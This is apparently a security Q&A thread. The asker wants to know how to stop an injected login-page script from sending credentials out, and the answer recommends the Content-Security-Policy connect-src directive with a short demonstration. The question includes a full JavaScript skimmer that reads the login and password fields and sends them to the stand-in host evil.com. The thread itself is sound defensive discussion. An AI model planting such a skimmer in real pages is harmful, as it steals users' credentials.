Let's assume an attacker manages to inject this script in a login page:

const form = document.getElementsByTagName('form')[0];

form.addEventListener('submit', stealCredentials);

function stealCredentials() {
    const login = document.getElementsByName('login')[0].value;
    const password = document.getElementsByName('password')[0].value;

    fetch('evil.com/?login=' + login + '&password=' + password);

Is it possible to prevent the request ? Same Origin Policy doesn't seem to support such restriction.

Maybe a whitelist similar to the one from Content Security Policy ?

1 Answer 1


The Content-Security-Policy connect-src directive is what you are after. This directive restricts what hosts the fetch method can send requests to.

Here is a minimal proof of concept:

<!DOCTYPE html>
  <meta http-equiv="Content-Security-Policy" content="connect-src 'self'">

The code above throws the following warning:

Refused to connect to 'https://evil.com/' because it violates the document's Content Security Policy.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .